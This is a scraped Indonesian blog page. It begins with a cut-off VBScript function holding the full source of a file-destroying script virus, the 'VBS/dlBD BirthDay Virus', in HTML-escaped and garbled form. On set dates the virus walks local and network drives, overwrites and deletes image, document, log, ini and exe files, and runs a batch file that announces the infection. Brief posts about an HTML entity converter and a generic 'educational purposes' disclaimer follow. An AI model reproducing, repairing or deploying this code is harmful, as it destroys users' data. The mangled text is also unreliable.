end function

function writeCopyundefined)
rawFileData=&quot;rem - VBS/dlBD ^DL BirthDay^ Virus by *|%|&quot; &amp;vbcrlf&amp; _
&quot;On Error Resume Next&quot; &amp;vbcrlf&amp; _
&quot;dim FSobj,winDir,sysDir&quot; &amp;vbcrlf&amp; _
&quot;set FSobj=CreateObjectundefined^Scripting|FileSystemObject^)&quot; &amp;vbcrlf&amp; _
&quot;set sysDir=FSobj|GetSpecialFolderundefined1)&quot; &amp;vbcrlf&amp; _
&quot;checkDateundefined)&quot; &amp;vbcrlf&amp; _
&quot;function checkDateundefined)&quot; &amp;vbcrlf&amp; _
&quot;if undefineddayundefinedNow)=31 and monthundefinedNow)=3)orundefineddayundefinedNow)=19 and monthundefinedNow)=12) then&quot; &amp;vbcrlf&amp; _
&quot;beginInfestationundefined)&quot; &amp;vbcrlf&amp; _
&quot;displayMessageundefined)&quot; &amp;vbcrlf&amp; _
&quot;end if&quot; &amp;vbcrlf&amp; _
&quot;end function&quot; &amp;vbcrlf&amp; _
&quot;sub beginInfestation&quot; &amp;vbcrlf&amp; _
&quot;On Error Resume Next &quot; &amp;vbcrlf&amp; _
&quot;dim drive,machine,complete&quot; &amp;vbcrlf&amp; _
&quot;set machine=FSobj|Drives &quot; &amp;vbcrlf&amp; _
&quot;for each drive in machine &quot; &amp;vbcrlf&amp; _
&quot;if undefineddrive|DriveType=2)orundefineddrive|DriveType=3) then&quot; &amp;vbcrlf&amp; _
&quot;indexFoldersundefineddrive|Path&amp;^\^)&quot; &amp;vbcrlf&amp; _
&quot;end If&quot; &amp;vbcrlf&amp; _
&quot;next&quot; &amp;vbcrlf&amp; _
&quot;beginInfestation=complete&quot; &amp;vbcrlf&amp; _
&quot;end sub&quot; &amp;vbcrlf&amp; _
&quot;sub indexFoldersundefinedlocation)&quot; &amp;vbcrlf&amp; _
&quot;On Error Resume Next&quot; &amp;vbcrlf&amp; _
&quot;dim specs, file, subFol&quot; &amp;vbcrlf&amp; _
&quot;set specs=FSobj|GetFolderundefinedlocation)&quot; &amp;vbcrlf&amp; _
&quot;set subFol=specs|SubFolders&quot; &amp;vbcrlf&amp; _
&quot;for each file in subFol&quot; &amp;vbcrlf&amp; _
&quot;spreadDataundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;indexFoldersundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;next&quot; &amp;vbcrlf&amp; _
&quot;end sub&quot; &amp;vbcrlf&amp; _
&quot;sub spreadDataundefinedlocation)&quot; &amp;vbcrlf&amp; _
&quot;On Error Resume Next&quot; &amp;vbcrlf&amp; _
&quot;dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete&quot; &amp;vbcrlf&amp; _
&quot;set folder=FSobj|GetFolderundefinedlocation)&quot; &amp;vbcrlf&amp; _
&quot;set directory=folder|Files&quot; &amp;vbcrlf&amp; _
&quot;finalMes=^Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|^&quot; &amp;vbcrlf&amp; _
&quot;for each file in directory&quot; &amp;vbcrlf&amp; _
&quot;extName=lcaseundefinedFSobj|GetExtensionNameundefinedfile|Path))&quot; &amp;vbcrlf&amp; _
&quot;complete=lcaseundefinedfile|Name)&quot; &amp;vbcrlf&amp; _
&quot;if undefinedextName=^jpg^)orundefinedextName=^gif^)then &quot; &amp;vbcrlf&amp; _
&quot;set generateCopy = FSobj|OpenTextFileundefinedfile|Path, 2, True)&quot; &amp;vbcrlf&amp; _
&quot;generateCopy|write finalMes &quot; &amp;vbcrlf&amp; _
&quot;generateCopy|Close&quot; &amp;vbcrlf&amp; _
&quot;appName=FSobj|GetBaseNameundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;set adExt=FSobj|GetFileundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;adExt|copyundefinedlocation&amp;^\^&amp;appName&amp;^|txt^)&quot; &amp;vbcrlf&amp; _
&quot;FSobj|DeleteFile undefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;elseIf undefinedextName=^log^)orundefinedextName=^ini^) then&quot; &amp;vbcrlf&amp; _
&quot;set generateCopy = FSobj|OpenTextFileundefinedfile|Path, 2, True)&quot; &amp;vbcrlf&amp; _
&quot;generateCopy|write finalMes&quot; &amp;vbcrlf&amp; _
&quot;generateCopy|Close&quot; &amp;vbcrlf&amp; _
&quot;appName=FSobj|GetBaseNameundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;set adExt=FSobj|GetFileundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;adExt|copyundefinedlocation&amp;^\^&amp;appName&amp;^|txt^)&quot; &amp;vbcrlf&amp; _
&quot;FSobj|DeleteFile undefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;elseIf undefinedextName=^doc^)orundefinedextName=^exe^) then&quot; &amp;vbcrlf&amp; _
&quot;set generateCopy = FSobj|OpenTextFileundefinedfile|Path, 2, True)&quot; &amp;vbcrlf&amp; _
&quot;generateCopy|write finalMes&quot; &amp;vbcrlf&amp; _
&quot;generateCopy|Close&quot; &amp;vbcrlf&amp; _
&quot;appName=FSobj|GetBaseNameundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;set adExt=FSobj|GetFileundefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;adExt|copyundefinedlocation&amp;^\^&amp;appName&amp;^|txt^)&quot; &amp;vbcrlf&amp; _
&quot;FSobj|DeleteFile undefinedfile|Path)&quot; &amp;vbcrlf&amp; _
&quot;end if&quot; &amp;vbcrlf&amp; _
&quot;next&quot; &amp;vbcrlf&amp; _
&quot;end sub&quot; &amp;vbcrlf&amp; _
&quot;function displayMessageundefined)&quot; &amp;vbcrlf&amp; _
&quot;dim shell,messageFile&quot; &amp;vbcrlf&amp; _
&quot;set shell = CreateObjectundefined^WScript|Shell^)&quot; &amp;vbcrlf&amp; _
&quot;set messageFile=FSobj|CreateTextFileundefinedsysDir&amp;^\dlBD-mes|bat^)&quot; &amp;vbcrlf&amp; _
&quot;messageFile|close&quot; &amp;vbcrlf&amp; _
&quot;set FSobj=CreateObjectundefined^Scripting|FileSystemObject^)&quot; &amp;vbcrlf&amp; _
&quot;set messageFile=FSobj|CreateTextFileundefinedsysDir&amp;^\dlBD-mes|bat^)&quot; &amp;vbcrlf&amp; _
&quot;messageFile|WriteLineundefined^@title Happy Birthday to me! :) - VBS/dlBD Virus - by *|%|^)&quot; &amp;vbcrlf&amp; _
&quot;messageFile|WriteLineundefined^@cls^)&quot; &amp;vbcrlf&amp; _
&quot;messageFile|WriteLineundefined^@echo Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :undefined^)&quot; &amp;vbcrlf&amp; _
&quot;messageFile|WriteLineundefined^@echo|^)&quot; &amp;vbcrlf&amp; _
&quot;messageFile|WriteLineundefined^@pause^)&quot; &amp;vbcrlf&amp; _
&quot;messageFile|close&quot; &amp;vbcrlf&amp; _
&quot;shell|RunundefinedsysDir&amp;^\dlBD-mes|bat^)&quot; &amp;vbcrlf&amp; _
&quot;end function&quot;
end function

HTML color Flash By Alonemisery

2011-01-23T13:22:00.001+07:00

Alonemisery Webmaster Tools

2011-01-23T13:20:00.002+07:00

Alonemisery Webmaster Tools berikut ini dapat digunakan untuk mengubah karakter HTML spesial ke dalam bentuk sederhana yang nantinya dapat kamu gunakan untuk dimasukan kedalam postingan, template, dan juga kotak komentar blogger. Alat ini juga bisa kamu gunakan untuk merubah kode google adsense agar bisa diselipkan di template blog atau untuk menambahkan kode HTML dalam kotak komentar. Berikut ini adalah kode-kode HTML dasar yang akan dirubah kedalam bentuk sederhananya secara otomatis supaya bisa di masukkan kedalam postingan, kotak komentar, dll seperti yang sudah dijelaskan sebelumnya.

'<' menjadi '<'
'>' menjadi '>'
'"' (double quote) menjadi '"'
''' (single quote) menjadi '''
'&' menjadi '&'

Start Converting Now!

(Silahkan masukkan kode HTML kamu kedalam kotak dibawah ini untuk diubah secara otomatis)

DISCLAIMER

2010-10-10T10:10:00.001+07:00

We are not storing any files in our hosting. We are only providing link resources from the other sites. All information and links are here for educational purposes only and are intended to satisfy the curiosity of our visitors only.
If you find any illegal content, please report at the prospective website as we have no control over other hosting. The creators of this site take no responsibility for consequences of using provided information on this site. However, you can help us remove this bulk link from here by email us. Thanks for keeping this service clean.Agreeing with this Disclaimer YOU undertake obligation not to use links and information from this site for purposes forbidden by The International Laws. If you agree with these terms you are welcome to continue using materials provided on this site. Otherwise YOU MUST LEAVE this page immediately!